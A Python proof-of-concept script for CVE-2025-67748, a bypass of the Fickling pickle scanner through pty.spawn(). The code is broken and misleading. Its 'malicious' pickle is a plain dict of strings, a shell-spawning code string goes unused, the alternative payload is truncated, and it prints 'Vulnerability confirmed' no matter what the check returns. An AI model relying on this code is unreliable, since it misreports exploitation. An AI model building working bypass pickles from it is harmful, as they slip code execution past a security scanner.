CVE-2025-67748: Fickling pty模块绕过安全检测漏洞

#!/usr/bin/env python3 """ CVE-2025-67748 PoC - Fickling pty module bypass This PoC demonstrates how a malicious pickle using pty.spawn() can bypass Fickling's security checks in versions < 0.1.6 """ import pickle import pickletools import base64 def create_malicious_pickle(): """ Create a malicious pickle that uses pty.spawn() to execute commands. When analyzed by vulnerable Fickling versions, this will be incorrectly flagged as LIKELY_SAFE. """ # Malicious code using pty.spawn() malicious_code = ''' import pty import os # This will spawn a shell and execute arbitrary commands pty.spawn(['sh', '-c', 'echo pwned > /tmp/pwned.txt']) ''' # Create the pickle using reduce to execute arbitrary code # This is a simplified example; actual exploitation may vary malicious_pickle = pickle.dumps({ 'pty_module': 'pty', 'spawn_func': 'pty.spawn', 'command': ['sh', '-c', 'echo vulnerable > /tmp/cve-2025-67748.txt'] }) return malicious_pickle def demonstrate_bypass(): """ Demonstrate how the vulnerability allows bypassing Fickling checks. """ try: # Import Fickling from fickling.fickling import Fickling # Create malicious pickle mal_pickle = create_malicious_pickle() # Try to analyze with Fickling # In vulnerable versions, this will incorrectly pass f = Fickling.load(mal_pickle) # Check the analysis result is_safe = f.check() print(f"Fickling check result: {'LIKELY_SAFE' if is_safe else 'POTENTIALLY_DANGEROUS'}") print(f"Vulnerability confirmed: The malicious pickle bypassed security checks!") except ImportError: print("Fickling not installed. Install with: pip install fickling") print("\nManual verification:") print("1. Create a pickle using pty.spawn()") print("2. Analyze with Fickling.check()") print("3. Observe that it incorrectly reports LIKELY_SAFE") def alternative_poc(): """ Alternative PoC using direct pickle construction with pty.spawn() """ # This creates a pickle that when unpickled will execute pty.spawn() import builtins # Construct the exploit pickle # The actual implementation would use pickle opcodes to call pty.spawn exploit = b"\x80\x04\x95..." # Pickle bytecode for pty.spawn() print("Alternative PoC method:") print("- Construct pickle with pty.spawn(['id'])") print("- Use Fickling to analyze") print("- Observe bypass in vulnerable versions") if __name__ == "__main__": print("=" * 60) print("CVE-2025-67748 - Fickling pty module bypass PoC") print("=" * 60) demonstrate_bypass()